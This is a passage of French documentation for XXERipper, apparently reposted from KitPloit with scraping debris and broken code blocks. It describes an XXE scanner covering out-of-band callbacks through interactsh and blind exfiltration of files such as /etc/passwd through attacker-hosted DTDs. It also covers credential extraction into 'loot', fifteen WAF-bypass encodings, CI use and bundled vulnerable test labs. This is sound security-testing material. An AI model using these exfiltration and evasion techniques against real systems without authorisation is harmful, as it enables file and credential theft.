    - **Exfiltration OOB blind** — lorsque `--oob-listen` ou `--oob-dtd-dir` est actif (ou le serveur DTD hébergé par la WebUI), le callback transporte le contenu du fichier, `OOBExfilExtractor` l'extrait, et le résultat passe par les mêmes extracteurs de contenu de fichier et d'identifiants qu'une lecture in-band.
    
    Le chemin d'exfiltration blind est celui qui change ce qu'est l'outil. Avant, `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` disait « la cible a récupéré notre DTD ». Après, le même résultat porte `loot_id`, `extracted_content_preview` et `extracted_credentials` dans ses preuves, le suivi de chaînes voit le butin et peut déclencher `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`, et l'onglet Loot de la WebUI affiche le fichier récupéré avec les mêmes extraits prêts à coller qu'une lecture in-band.
    
    ---
    
    ## Confirmation hors bande
    
    XXERipper utilise **`interactsh-client`** comme backend OOB. Il existe deux modes.
    
    ### Mode manuel (par défaut)
    
    Le scanner construit les charges utiles sous votre domaine de session ; le client effectue l'enregistrement, le polling et le déchiffrement. Le scanner ne parle jamais le protocole Interactsh.```bash
    # Terminal A
    interactsh-client -v
    # [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
    
    # Terminal B
    xxeripper https://target.com/api/xml \
        --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
    

    Lorsque le scan se termine, le résumé de chaque cible inclut un bloc [OOB] listant chaque payload envoyé, regroupé avec son libellé de technique :``` [1/1] [MANUAL-OOB] https://target.com/api/xml Parser: libxml2 [!] 3 phase(s) skipped: - multipart_docx, svg (no --svg and no upload-shaped URL) - dos (no --unsafe) [OOB] 7 payload(s) dispatched — watch your interactsh-client terminal - [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro DNS-only parameter entity (blind parser fingerprint) - [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro External DTD fetch (blind file exfiltration via DTD) ...

    root@kitploit:~
    Lorsque `interactsh-client` affiche une interaction, faites correspondre le préfixe de sous-domaine à la ligne `[OOB]` correspondante. Cette correspondance est votre confirmation.
    
    **Le mode manuel n'extrait pas l'exfiltration.** En mode manuel, le scanner envoie les payloads OOB et retourne immédiatement — il ne lit jamais la sortie d'interactsh. Le contenu exfiltré est visible dans votre terminal interactsh, pas dans le stockage de butin du scanner. La bannière CLI et le lanceur de tâches WebUI affichent tous deux un avertissement lorsque l'exfiltration est configurée mais que le mode auto est désactivé.
    
    ### Mode auto (`--oob-auto`)
    
    Le scanner lance `interactsh-client` en tant que sous-processus, lit son flux d'événements `-json -v`, extrait le domaine de session et corrèle les callbacks en cours de processus. Pas de second terminal, pas de correspondance manuelle.```bash
    xxeripper https://target.com/api/xml --oob-auto
    # [*] Starting interactsh-client (--oob-auto)...
    # [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
    # [*] Callbacks will be correlated automatically.
    

    Les callbacks sont affichés sur stderr dès leur arrivée :``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42

    root@kitploit:~
    La corrélation est basée sur des jetons. Le scanner génère un jeton unique de 16 caractères hexadécimaux par charge utile, l'intègre dans le sous-domaine, enregistre la correspondance et associe les rappels entrants par jeton. Un rappel dont le sous-domaine ne contient pas le jeton en attente spécifique pour la charge utile qui a généré le sous-domaine est rejeté, de sorte que le trafic DNS non lié ne peut pas être attribué à tort et qu'un rappel lent pour l'itération *N* ne peut pas être attribué à l'itération *N+1*. Un rappel corrélé porte le poids complet de +50 et contribue à un signal obligatoire — il peut à lui seul promouvoir une découverte en CRITICAL (avec l'exigence des deux familles satisfaite par la famille OOB plus l'intégrité de chaîne ou une empreinte).
    
    **Les analyses par lots** partagent un seul processus `interactsh-client` pendant toute la durée de l'exécution. Chaque cible dispose de sa propre vue `OOBClient` avec son propre ensemble de jetons, de sorte que l'attribution par cible reste correcte même avec `--threads 20`.
    
    **Dans la console web**, cocher *Auto OOB mode* lance un `interactsh-client` partagé pour toute la durée de vie du processus serveur, lancé paresseusement lors de la première tâche auto-OOB puis réutilisé par la suite. Plusieurs tâches concurrentes partagent le domaine mais conservent des ensembles de jetons indépendants.
    
    ### Exfiltration aveugle
    
    Par défaut, une découverte OOB confirme que la résolution d'entité a eu lieu — le rappel est arrivé, et le jeton prouve qu'il nous appartient. Elle ne récupère pas le contenu du fichier. Pour récupérer le contenu, le scanner doit servir la DTD qui amène la cible à envoyer son fichier dans l'URL de rappel.
    
    Trois modes d'hébergement de DTD sont pris en charge :
    
    **Serveur DTD intégré** (`--oob-listen HOST:PORT --oob-public-url URL`) : le scanner lie son propre serveur HTTP et sert les DTD à la demande. Idéal pour les laboratoires de test, les analyses sur le même hôte et tout environnement où la cible peut atteindre l'adresse du scanner.
    
    **Service de DTD basé sur des fichiers** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`) : le scanner écrit les fichiers DTD dans un répertoire ; vous servez ce répertoire avec nginx, Apache, `python -m http.server` ou tout autre outil. Idéal pour les cibles distantes réelles où l'adresse du scanner n'est pas joignable.
    
    **Serveur DTD hébergé par la WebUI** : cochez **Serve DTDs from this WebUI** dans le tiroir de nouvelle analyse et fournissez le préfixe d'URL public. Le scanner enregistre les DTD à `/dtd/<token>.dtd` sur le même processus Flask qui exécute la console. Pas de second terminal, pas de `python -m http.server`, pas de répertoire séparé. L'utilisateur doit s'assurer que la cible peut atteindre l'adresse de liaison de la WebUI — liez avec `--host 0.0.0.0` et fournissez l'IP publique ou le nom d'hôte.
    
    Lorsque l'exfiltration est active, les découvertes `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` et `XXE-CDATA-BYPASS-OOB` portent le contenu de fichier extrait comme butin. Le même pipeline `FileContentExtractor` et `CredentialExtractor` qui s'exécute sur les lectures in-band s'exécute sur les octets exfiltrés, de sorte qu'une lecture aveugle de `/etc/passwd` produit la même extraction d'identifiants et les mêmes extraits de shell prêts à coller qu'une lecture in-band. Le contenu exfiltré apparaît dans l'onglet **Loot** de la WebUI, dans le bloc `exfiltrated` de l'onglet OOB et dans la section butin du rapport HTML.
    
    **Prérequis.** La cible doit pouvoir atteindre votre serveur DTD. Interactsh journalise les rappels mais ne sert pas de contenu, il ne peut donc pas remplacer un véritable point de terminaison HTTP. Cela est inhérent au fonctionnement de l'exfiltration XXE aveugle, et non une limitation du scanner.
    
    **Le mode manuel n'exfiltre pas.** L'exfiltration nécessite que le scanner lise son propre flux de rappels, ce qui ne se produit qu'en mode `--oob-auto`. Si vous exécutez le mode manuel avec `--oob-listen` ou `--oob-dtd-dir`, les DTD seront servies, la cible les récupérera, la cible enverra le contenu du fichier à interactsh — mais le scanner ne l'extraira pas, car il ne lit jamais la sortie d'interactsh. Les données exfiltrées sont visibles dans votre terminal interactsh.
    
    ### Quand utiliser quoi
    
    - **Manuel** est la valeur par défaut la plus sûre. Pas de sous-processus, pas de poignée de main cryptographique, et cela fonctionne avec n'importe quel déploiement Interactsh, y compris une coordination entièrement isolée où le client est exécuté sur un hôte différent.
    - **Auto** est plus rapide pour les analyses par lots et la CI. Une seule commande, pas de références croisées. Nécessite `interactsh-client` dans le `PATH`. Requis pour l'exfiltration.
    
    **Les serveurs auto-hébergés** fonctionnent dans les deux modes sans aucun changement côté scanner — pointez `interactsh-client` vers votre serveur (via son indicateur `-s` / `-server`, ou en enveloppant le binaire dans un alias shell) et, en mode manuel, passez le domaine de session imprimé à `--oob-domain`.
    
    ---
    
    ## Encodage de contournement de WAF
    
    `--bypass-waf` renvoie l'intégralité du catalogue de charges utiles à travers un ou plusieurs encodeurs *après* l'exécution des phases principales. Cela teste si un WAF bloque les formes de charges utiles classiques mais laisse passer un équivalent transformé — mais cela se fait sans masquer les découvertes directes derrière le balayage encodé.
    
    Quinze encodeurs répartis en trois familles :
    
    **Encodeurs de document** (transforment le flux d'octets) :
    
    | Nom | Transformation | Remarques |
    |---|---|---|
    | `utf16be` | UTF-16 BE avec BOM | Décalage classique du flux d'octets. La plupart des WAF décodent les corps en UTF-8 et manquent les octets nuls entrelacés. |
    | `utf16le` | UTF-16 LE avec BOM | Même principe, boutisme opposé. |
    | `utf16decl` | UTF-16 BE avec BOM et déclaration réécrite | La déclaration est mise à jour en `encoding="UTF-16"` afin que les parseurs stricts l'acceptent. |
    | `utf16nobom` | UTF-16 BE sans BOM, déclaration réécrite | Certains parseurs honorent la déclaration et déduisent le boutisme ; certains WAF utilisent le BOM comme signal de décodage et ignorent un corps qui en est dépourvu. |
    | `utf32be` | UTF-32 BE avec BOM | Moins couramment pris en charge par les WAF que l'UTF-16. |
    | `utf32le` | UTF-32 LE avec BOM | Idem, boutisme opposé. |
    | `ebcdic` | EBCDIC CP037 | Presque aucun WAF ne décode l'EBCDIC avant inspection. libxml2 le détecte automatiquement ; Xerces et .NET le refusent proprement. |
    | `ucs4_2143` | Ordre d'octets UCS-4 2,1,4,3 | Permutation Unicode TR#17. Le motif d'octets ne correspond à aucune signature UTF-32 BE/LE, donc les WAF ne le décodent pas. Même ordre qui a contourné le XmlScanner de PhpSpreadsheet dans CVE-2024-47873. |
    | `utf8bom` | UTF-8 avec BOM | Marginal mais gratuit. Défait les expressions régulières ancrées à `^<?xml`. |
    
    **Encodeurs d'évasion de mots-clés** (transforment la déclaration d'entité) :
    
    | Nom | Transformation | Remarques |
    |---|---|---|
    | `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | XML valide. Les WAF qui ne correspondent qu'à `SYSTEM "file://` le manquent. |
    | `public_charref` | Mot-clé `SYSTEM` → références de caractères hexadécimales à l'intérieur d'une déclaration `PUBLIC` | Les références de caractères sont développées à l'intérieur de `PubidLiteral` mais pas à l'intérieur de `SystemLiteral`. Le parseur réassemble `SYSTEM` comme identifiant public ; un WAF correspondant à la chaîne littérale le manque. |
    | `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | Sonde de contournement, pas une primitive de lecture de fichier — l'entité se résout en la *chaîne* URI, pas en le contenu du fichier. Utilisez-la pour confirmer que le WAF peut être défait ; combinez avec un puits au niveau applicatif pour l'extraction. |
    
    **Encodeurs au niveau de la grammaire** (XML valide, défont les WAF paresseux) :
    
    | Nom | Transformation | Remarques |
    |---|---|---|
    | `whitespace_pad` | 512 espaces insérés dans la déclaration XML | XML autorise des espaces arbitraires entre les pseudo-attributs de déclaration. Les WAF qui n'inspectent que les N premiers octets du corps voient une déclaration remplie d'espaces et n'atteignent jamais le DOCTYPE. |
    | `doctype_closure` | Commentaire leurre après `]>` | Certains WAF analysent le DOCTYPE pour localiser sa fin, puis inspectent le reste. L'insertion d'un commentaire XML après `]>` peut induire ce parseur en erreur vers une sortie anticipée qui saute les déclarations d'entités. Le parseur XML ignore le commentaire. |
    | `pe_stager` | Déclaration d'entité réécrite en chaîne d'entités paramètres | Les WAF voient `<!ENTITY % stage "…"` et `%stage;` mais jamais l'URI `SYSTEM "file://…"` dans une seule déclaration. Le parseur développe `%stage`, qui déclare la véritable entité. Fonctionne sur tout parseur qui autorise les entités paramètres du sous-ensemble interne — Xerces et .NET d'emblée ; libxml2 uniquement si la restriction des PE internes a été levée à la compilation. |
    
    Les encodeurs dont la sortie est identique octet pour octet à l'entrée sur une charge utile donnée sont ignorés (aucune requête envoyée). Une découverte est levée par combinaison survivante (charge utile × encodeur) sous la forme `XXE-WAF-BYPASS-<ENCODER>` (ou `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>` pour les familles OOB), ou, pour les familles OOB, uniquement lorsqu'un rappel corrélé arrive.```bash
    # All encoders
    xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
    
    # A targeted subset — the five highest-yield encoders
    xxeripper https://target.com/api/xml \
        --bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
        --oob-auto
    
    # Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
    xxeripper https://target.com/api/xml \
        --bypass-waf utf16be,ebcdic --bypass-waf-include-custom
    

    Ordre des phases. La phase de contournement du WAF s'exécute après les phases principales, pas avant. Une cible qui répond à une charge utile SYSTEM "file://" simple n'a pas besoin de recevoir d'abord 1 500 variantes encodées — les sondes directes la trouvent en ~20 requêtes, et le balayage encodé est la solution de repli lorsque celles-ci ont été bloquées. La phase utilise toujours le même catalogue, produit toujours les mêmes résultats et s'exécute toujours lorsque --bypass-waf est défini ; elle ne fait simplement pas passer les détections directes après le balayage.

    Volume de requêtes. Un catalogue d'environ 100 charges utiles × 15 encodeurs représente environ 1 500 requêtes par cible dans le pire des cas. Le budget en temps réel est le seul régulateur ; la phase vérifie l'échéance avant chaque envoi et s'interrompt proprement. Pour les cibles volumineuses, préférez un sous-ensemble d'encodeurs nommé à --bypass-waf all.


    Charges utiles personnalisées```bash

    Inline

    xxeripper https://target.com/api/xml
    --payload '%p;]>'
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Payload file (separate multiple payloads with a --- line)

    xxeripper https://target.com/api/xml --payload-file my_payloads.xml

    Payload directory

    xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/

    root@kitploit:~
    Chaque fichier est testé contre chaque cible de fichier. Les résultats sont attribués sous la forme `XXE-CUSTOM-<filename>`. Les payloads personnalisés passent par le même helper OOB que les phases intégrées, de sorte que leurs sous-domaines et libellés de technique apparaissent dans la checklist `[OOB]` (mode manuel) ou déclenchent des callbacks corrélés (mode auto).
    
    **Cookies et intégration Burp :** la priorité des cookies est inline > fichier de cookies > requête Burp. Les formats Netscape-jar et `key=value` sont tous deux pris en charge. Les requêtes Burp préservent la méthode et les en-têtes de bout en bout ; les en-têtes hop-by-hop et les en-têtes `Cookie`/`Content-Type` gérés par le scanner ne sont pas transmis. Le schéma est dérivé de l'en-tête `Host`, de la ligne de version HTTP et de tout en-tête `X-Forwarded-Proto` / `Forwarded` / `:scheme` porté par la requête. 443/8443/9443/10443/6443/7443/4443 → HTTPS ; 80/8000/8008/8080/8088/8888 → HTTP ; les ports inconnus et les requêtes HTTP/2 → HTTPS par défaut. Les hôtes IPv6 sont analysés correctement.
    
    **Rejeu pré-auth :** `--pre-auth-request FILE` prend une requête au format Burp, la rejoue une fois contre la cible avant la capture de référence, et fusionne tous les en-têtes `Set-Cookie` dans le jar. Répéter le flag rejoue plusieurs requêtes dans l'ordre, de sorte qu'un flux en deux étapes (récupération du token CSRF, puis POST des identifiants) fonctionne. Les cookies de chaque rejeu sont disponibles pour la requête suivante de la séquence.
    
    **Contournement de WAF avec les customs :** `--bypass-waf-include-custom` étend le balayage d'encodeurs aux payloads utilisateur. Les customs référençant `{CALLBACK}` ou `{DOMAIN}` sont ignorés (un payload OOB encodé ne peut pas être corrélé via un placeholder).
    
    ---
    
    ## Formats de sortie
    
    ### JSON (schéma 1.1)```json
    {
        "schema_version": "1.1",
        "tool": "XXE-Ripper",
        "summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
        "results": [{
            "url": "https://target.com/api/xml",
            "parser_fingerprint": "libxml2",
            "findings": [{
                "id": "XXE-INBAND-FILE-READ-linux-passwd",
                "severity": "CRITICAL",
                "title": "In-band XXE file read: /etc/passwd",
                "confirmed": true,
                "exploitability": "confirmed",
                "cwe": ["CWE-611", "CWE-200"],
                "cwe_descriptions": ["...", "..."],
                "confidence": 85,
                "evidence": {
                    "file_type": "/etc/passwd",
                    "indicators_matched": 4,
                    "score": 85,
                    "loot_id": "file:9a1c...",
                    "extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
                },
                "reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
            }],
            "loot": [{
                "id": "file:9a1c...",
                "kind": "file",
                "source_path": "/etc/passwd",
                "technique": "XXE-INBAND-FILE-READ-linux-passwd",
                "content": "root:x:0:0:...",
                "size": 2841,
                "sha256": "...",
                "credentials": []
            }],
            "loot_counts": { "total": 1, "files": 1, "secrets": 0 },
            "oob_payloads_sent": 7,
            "oob_subdomains": ["xxe-dns-...oast.pro"],
            "oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
        }]
    }
    

    Le champ interne skipped_phases est retiré du JSON sérialisé — il s'agit d'une comptabilité pour le rapport de couverture du terminal, pas d'un constat.

    SARIF v2.1.0

    Chaque ID de constat devient une règle SARIF avec helpUri pointant vers la définition CWE principale. Chaque constat devient un résultat dont artifactLocation.uri est l'URL cible. Les champs supplémentaires (confidence, cwe, reasons, evidence) sont transportés dans result.properties. Correspondance des sévérités : CRITICAL/HIGH → error, MEDIUM → warning, LOW/INFO → note.

    Rapport HTML

    --report-html PATH écrit un unique fichier HTML autonome. Aucun lien CDN, aucune image externe, aucune police web. S'ouvre dans n'importe quel navigateur, s'affiche à l'identique hors ligne et s'imprime proprement.

    Sections :

    • Résumé exécutif — cibles scannées, cibles vulnérables, sévérité la plus élevée, nombre confirmé, nombre de butins.
    • Chaînes d'exploitation — une carte par chaîne complétée, avec le déroulement des étapes et les preuves par étape.
    • Butin extrait — une carte par fichier, avec le contenu complet et les identifiants extraits. Chaque identifiant affiche ses champs et des extraits de shell prêts à coller avec des boutons de copie individuels.
    • Constats par cible — un tableau par cible avec sévérité, ID, description, CWE, raisons et preuves structurées.
    • CSS adapté à l'impression — le rapport s'affiche avec un style encre sur papier à fond clair lors de l'impression.

    La console web sert le même rapport HTML en ligne à /api/jobs/<jid>/report.html (via le bouton View HTML) et le télécharge depuis /api/jobs/<jid>/report.html.download (via le bouton HTML).

    Verdicts de la console

    VerdictSignification
    [VULNERABLE]Au moins un constat de sévérité MEDIUM ou supérieure
    [MANUAL-OOB]Aucun constat, mais des charges utiles OOB ont été envoyées (mode manuel uniquement)
    [INFO-ONLY]Aucun constat, aucune charge utile OOB, mais au moins une phase a été ignorée
    [OK]Rien à signaler, rien d'ignoré
    [1/3] [VULNERABLE] https://target.com/api/xml
    Parser: libxml2
    [!] 3 phase(s) skipped:
    root@kitploit:~
        - multipart_docx, svg  (no --svg and no upload-shaped URL)
        - dos  (no --unsafe)
    

    [CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd

    root@kitploit:~
    ## Fiabilité et couverture
    
    | Fonctionnalité | Comportement |
    |---|---|
    | Négociation HTTP/2 | `build_session` construit un `httpx.Client` avec `http2=True`. La poignée de main ALPN négocie HTTP/2 lorsque le serveur le prend en charge, et bascule silencieusement vers HTTP/1.1 sinon. Aucune configuration par cible |
    | Isolation par phase | Chaque phase s'exécute dans `_run_phase`, qui intercepte toute exception, journalise la trace sous `--debug`, émet un événement `phase_error` et passe à la phase suivante |
    | Limitation de débit | `--rate N` impose un intervalle minimal de `1/N` seconde entre les requêtes par cible, appliqué par l'instance partagée `RateLimiter` que consulte chaque chemin d'envoi. Indépendant de `--threads` |
    | Nouvelle tentative et backoff | Les échecs transitoires (`ConnectError`, `RemoteProtocolError`, `ReadError`, `WriteError`, `TimeoutException`) sont retentés trois fois avec un backoff de 0,5 s, 0,75 s, 1,125 s |
    | Respect de Retry-After | Respecté sur 429 et 503, plafonné à 10 s |
    | Garde contre les réponses nulles sur les envois OOB | Un envoi échoué saute l'attente de polling au lieu de bloquer le scan |
    | Cache d'empreintes sur disque | `~/.cache/xxeripper/fingerprints.json`. Les scans répétés de la même URL sautent la séquence de 9 sondes. Supprimez le fichier ou passez `--no-fingerprint-cache` pour l'invalider |
    | Budget en temps réel | `--budget SECONDS` — chaque phase vérifie `ctx.expired()` avant chaque envoi et s'interrompt proprement |
    | Annulation coopérative | Un appel à `ScanContext.cancel()` signale chaque phase. La console web l'expose via le bouton **Stop** |
    | Bascule TLS | La vérification est désactivée par défaut pour un usage pentest ; `--verify-tls` la réactive |
    | Codes de sortie CI | 0 = propre, 1 = erreur de configuration, 2 = finding au niveau ou au-dessus de `--fail-on`, 130 = Ctrl-C |
    | Findings thread-safe | `add_finding` est protégé par verrou et fusionne les IDs en double sur place — en augmentant la sévérité, en combinant `confirmed` par OR, en prenant `max(confidence)`, en unissant les raisons et les preuves — plutôt que d'émettre des entrées en double. Chaque fusion et chaque nouveau finding émet un événement pour que la console web se mette à jour en direct |
    | Statistiques OOB thread-safe | `OOBClient.stats()` renvoie un instantané verrouillé afin que le résumé CLI lise une vue cohérente même pendant une phase en cours |
    | Loot dédupliqué | `LootStore.add_file` et `LootStore.add_secret` utilisent le SHA-256 du contenu comme clé. Deux findings qui récupèrent le même fichier produisent une seule entrée de loot |
    | Rapport de couverture | Liste des cibles ignorées avec des raisons lisibles ; résumé en fin de scan des cibles avec des skips |
    | Cache d'empreintes en CI | Pointez `HOME` vers un répertoire de cache persistant pour économiser 9 requêtes par exécution. La taille du cache est d'environ 1 Ko par URL |
    
    L'adaptateur de nouvelle tentative ne retente délibérément pas les HTTP 500 — les cibles XXE basées sur les erreurs renvoient 500 intentionnellement, et retenter masque le signal.
    
    ---
    
    ## Intégration CI/CD
    
    ### GitHub Actions```yaml
    - name: XXE scan
      run: xxeripper "$TARGET_URL" --oob-auto \
          --full-file-scan -o results --format both \
          --report-html results.html --fail-on high
    
    - name: Upload SARIF
      if: always()
      uses: github/codeql-action/upload-sarif@v3
      with: { sarif_file: results.sarif, category: xxeripper }
    
    - name: Upload HTML report
      if: always()
      uses: actions/upload-artifact@v4
      with: { name: xxe-report, path: results.html }
    

    GitLab CI```yaml

    xxe-scan: script: - xxeripper "$TARGET_URL" --oob-auto --full-file-scan
    -o report --format both --fail-on medium - cp report.json gl-sast-report.json artifacts: reports: { sast: gl-sast-report.json } paths: [ report.html ] when: always

    root@kitploit:~
    ### Mise en cache des empreintes dans la CI```yaml
    - uses: actions/cache@v4
      with:
        path: ~/.cache/xxeripper
        key: xxeripper-fingerprints-${{ github.ref }}
    

    La taille du cache est d'environ 1 Ko par URL et reste stable entre les exécutions, sauf si le parseur de la cible change.

    Auto OOB en CI. --oob-auto nécessite interactsh-client dans le PATH. Sur les runners hébergés par GitHub, installez-le dans une étape de configuration :```yaml

    • name: Install interactsh-client run: | go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest echo "$HOME/go/bin" >> "$GITHUB_PATH"
    root@kitploit:~
    Si votre environnement CI bloque le DNS sortant vers des sous-domaines arbitraires, utilisez le mode manuel avec un serveur Interactsh auto-hébergé accessible par votre pipeline.
    
    **Exfiltration aveugle en CI.** Pour que le pipeline d'exfiltration produise des entrées de butin, le runner CI doit être joignable depuis la cible. Cela signifie généralement un runner auto-hébergé sur un réseau que la cible peut atteindre, ou `--oob-dtd-dir` combiné à un répertoire servi en externe depuis lequel la cible peut récupérer du contenu. Interactsh seul ne fonctionnera pas — il journalise les callbacks mais ne sert pas de contenu.
    
    ---
    
    ## Tester contre les labs inclus
    
    XXERipper est livré avec deux labs de test locaux qui exécutent de **véritables parseurs vulnérables** sur les mêmes configurations que celles livrées par les applications en production. Ce ne sont pas des mocks — chacun expose une technique spécifique afin que vous puissiez vérifier que le scanner la détecte correctement, et chacun inclut des endpoints leurres pour faux positifs afin que vous puissiez vérifier qu'il ne *sur-signale* pas.
    
    Les deux labs se lient à `127.0.0.1` et lisent des fichiers locaux sur requête par conception. **Ne les exposez jamais à un réseau que vous ne possédez pas.**
    
    ### Inventaire des labs
    
    | Lab | Fichier | Stack | Port | Ce qu'il prouve |
    |---|---|---|---|---|
    | Python | `xxe_lab.py` | Flask + lxml → libxml2, httpx (HTTP/1.1 ou HTTP/2 via ALPN) pour toutes les récupérations d'entités sortantes | `127.0.0.1:5000` | 54 endpoints répartis sur dix familles de techniques, plus des contreparties sûres pour chaque technique couverte et une API de verdicts pour le scoring automatisé. Sert HTTP par défaut ; TLS via `--https` / `--autocert` |
    | Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | XXE basé sur les erreurs, que les libxml2 modernes bloquent au niveau C |
    
    ### Lab Python — `xxe_lab.py`
    
    Installez les dépendances du lab (isolées des propres exigences du scanner) :```bash
    # If you install by hand rather than `make lab`:
    pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
    

    Le lab tire httpx[http2] pour la même raison que le scanner — les récupérations d'entités sortantes négocient HTTP/2 via ALPN lorsque le collecteur OOB ou le point de terminaison de métadonnées le prend en charge, et retombent silencieusement sur HTTP/1.1 sinon. Le Flask entrant est en HTTP/1.1 quoi qu'il arrive.```bash make lab python3 xxe_lab.py

    [*] XXE Test Lab v1 on http://127.0.0.1:5000

    [*] Default mode: realistic (override: X-Lab-Mode header or ?lab_mode=)

    [*] 54 endpoints registered

    [*] Verdicts API: GET /api/verdicts

    [*] Do NOT expose this to untrusted networks.

    root@kitploit:~
    Le lab expose **54 endpoints** répartis en trois classes de verdict : 36 `vuln`, 17 `safe`, 1 appât `fn`.
    
    ### TLS
    
    Le lab parle HTTP par défaut. Trois flags activent TLS :
    
    | Flag | Comportement |
    |---|---|
    | `--https` | Sert via TLS. Réutilise un certificat auto-signé en cache s'il en existe un sous `$TMPDIR/xxe-lab-certs/`, sinon en génère un avec `openssl`. Réutiliser le certificat en cache entre les redémarrages permet de garder stable toute empreinte TLS côté scanner. |
    | `--autocert` | Sert via TLS avec un certificat auto-signé **fraîchement généré**. Exécute toujours `openssl` et écrase le certificat en cache. Implique `--https`. Mutuellement exclusif avec `--cert` / `--key`. |
    | `--cert PATH` / `--key PATH` | Sert via TLS avec une paire PEM fournie. Les deux doivent être fournis ensemble. |
    
    `--host` et `--port` remplacent l'adresse de bind (par défaut `127.0.0.1:5000`) ; les variables d'environnement `FLASK_HOST` et `FLASK_PORT` sont respectées comme valeurs par défaut.```bash
    python3 xxe_lab.py --autocert --port 8443
    # [*] XXE Test Lab v1 on https://127.0.0.1:8443
    # [*] TLS cert: /tmp/xxe-lab-certs/cert.pem  [generated (fresh)]
    # [*] TLS key:  /tmp/xxe-lab-certs/key.pem
    # [*] Self-signed — scanners must skip cert verification.
    

    Le certificat généré est RSA-2048, valide 365 jours, CN=127.0.0.1, subjectAltName=IP:127.0.0.1,DNS:localhost — sans phrase secrète. Nécessite openssl dans le PATH (OpenSSL 1.1.1+ pour -addext). Si vous avez besoin d'un certificat sans ces contraintes, passez plutôt --cert / --key.

    Deux modes

    Le lab dispose de deux modes de réponse, commutables par requête :

    realistic (par défaut) — imite une application réelle. Un Content-Type incorrect renvoie 415, une forme incorrecte passe au parseur (barrière souple) ou renvoie un 400 générique (barrière stricte). Aucune fuite de raison. Le scanner doit distinguer « la cible a rejeté ma charge utile » de « la cible a accepté mais n'a pas résolu » en se basant uniquement sur la forme de la réponse.

    scoped — le mode déterministe hérité. Chaque corps hors périmètre renvoie un 200 out of scope: <reason> stable qui ne parse rien. À activer pour les suites de régression où les vetos de faux positifs inter-techniques doivent être exacts.

    Remplacez par requête avec un en-tête ou un paramètre de requête :``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic

    root@kitploit:~
    La priorité est en-tête > paramètre de requête > valeur par défaut de l'environnement (`XXE_LAB_MODE`).
    
    ### Groupes de points de terminaison
    
    **Vulnérable non délimité** — accepte tout XML, analyse toujours avec l'analyseur vulnérable :
    
    | Point de terminaison | Ce qu'il exerce |
    |---|---|
    | `POST /xml/vulnerable` | Lecture de fichier in-band, matrice de content-type, intégrité de chaîne |
    | `POST /xml/blind` | Analyseur silencieux — résout les entités, ne reflète jamais (OOB uniquement) |
    | `POST /xml/error` | Canal d'erreur — renvoie les traces de l'analyseur |
    | `POST /xml/reflect` | Reflète le corps brut ET analyse — exerce le veto de réflexion |
    | `POST /xml/timing` | Dort lorsque la charge utile contient une entité SYSTEM externe — aveugle basé sur le timing |
    
    **In-band et vecteurs de livraison**, **Enveloppes**, **Encodages**, **Inclusion**, **Récupérateurs étendus**, **Formats de fichiers**, **Entité de paramètre et métadonnées**, et **Blind OOB** — la liste complète des points de terminaison est disponible à <http://127.0.0.1:5000/api/endpoints> ou dans l'interface propre du labo à <http://127.0.0.1:5000/>.
    
    ### Contreparties sûres
    
    Chaque point de terminaison vulnérable délimité possède une contrepartie sûre qui exécute la **même vérification de portée** mais analyse avec les entités désactivées et l'accès réseau bloqué. Le nommage est mécanique : `/xml/safe-form` reflète `/xml/form`, `/xml/safe-xslt` reflète `/xml/xslt`, et ainsi de suite.
    
    Cette conception existe pour que le veto de faux positifs inter-techniques du scanner puisse être testé de bout en bout. Considérez la phase encodée en formulaire : le scanner envoie du XML encodé en formulaire à chaque cible qu'il scanne. Contre `/xml/form`, cela produit une détection si la charge utile se résout. Contre `/xml/safe-form`, la même charge utile ne devrait rien produire. Avant que les contreparties sûres n'existent, une cible comme `/xml/safe` n'avait aucune vérification de portée de champ de formulaire, donc la charge utile encodée en formulaire était acceptée et analysée par un point de terminaison « sûr » — un faux positif qui n'était pas la faute du scanner mais qui n'était pas non plus distinguable d'un vrai.
    
    Les contreparties sûres comblent ce trou. Il y en a 13 :```
    /xml/safe-form          /xml/safe-query           /xml/safe-svg
    /xml/safe-saml          /xml/safe-soap            /xml/safe-multipart
    /xml/safe-docx          /xml/safe-xinclude        /xml/safe-xinclude-xml
    /xml/safe-xslt          /xml/safe-xsd             /xml/safe-xsd-import
    /xml/safe-pi
    

    Plus les quatre leurres de base qui ne prennent pas du tout en compte les vérifications de portée :``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata

    root@kitploit:~
    Et un appât faux négatif :```
    /xml/silent
    

